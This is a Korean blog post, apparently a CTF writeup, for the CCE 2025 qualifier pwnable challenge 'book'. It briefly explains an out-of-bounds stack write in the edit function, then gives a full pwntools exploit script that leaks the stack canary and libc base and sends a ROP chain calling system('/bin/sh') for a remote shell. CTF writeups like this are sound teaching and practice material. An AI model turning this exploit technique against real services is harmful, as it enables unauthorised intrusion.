ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [CCE 2025] book Writeup
    CTF 2025. 8. 31. 14:48

    CCE 2025 예선 pwnable book writeup입니다.

     

     

    1. new

    2. view

    3. edit

     

    이렇게 옵션이 있습니다.

    여기서 글을 새로 쓰게 되면 스택에 저장됩니다.

     

     

    edit 할 때 pagenum > 4로 검증하기 때문에 oob write를 할 수 있습니다.

    스택이기 때문에 canary, libc leak 하고 ret 덮으면 됩니다.

     

     

    from pwn import*
    
    # p = process("./prob")
    # p = remote("localhost",12345)
    p = remote("15.165.12.135",12345)
    libc = ELF("./libc.so.6")
    
    # gdb.attach(p,"b *main+434")
    # pause()
    
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b": ", str(0x100).encode())
    p.sendlineafter(b": ", b"A"*0x100)
    
    
    ### canary leak
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b": ", b"4")
    p.sendlineafter(b": ", str(8).encode())
    p.sendlineafter(b": ", b"A"*8)
    p.sendlineafter(b"> ", b"2")
    
    p.recvuntil(b"A"*0x108)
    
    
    p.recv(1)
    canary_bytes = b"\x00" + p.recv(7)
    canary = u64(canary_bytes)
    log.info(f"canary = {hex(canary)}")
    
    
    ### canary leak
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b": ", b"4")
    p.sendlineafter(b": ", str(0x40).encode())
    p.sendlineafter(b": ", b"A"*23)
    
    p.sendlineafter(b"> ", b"2")
    
    p.recvuntil(b"A"*(0x100+23))
    p.recv(1)
    
    libc_start= u64(p.recv(6).ljust(8,b"\x00"))
    libc_base = libc_start - 0x2a1ca
    log.info(f"libc_base = {hex(libc_base)}")
    
    pop_rdi = libc_base + 0x000000000010f75b
    binsh = libc_base + 0x1cb42f
    system = libc_base + libc.symbols['system']
    ret = libc_base + 0x000000000002882f
    
    ### exploit
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b": ", b"4")
    p.sendlineafter(b": ", str(0x40).encode())
    
    payload = b"A"*8
    payload += p64(canary)
    payload += b"A"*8
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(ret)
    payload += p64(system)
    
    p.sendlineafter(b": ", payload)
    p.sendlineafter(b"> ", b"4")
    
    
    p.interactive()

    'CTF' 카테고리의 다른 글

    [CCE 2025] artisan Writeup  (0) 2025.08.31

    댓글

Designed by Tistory.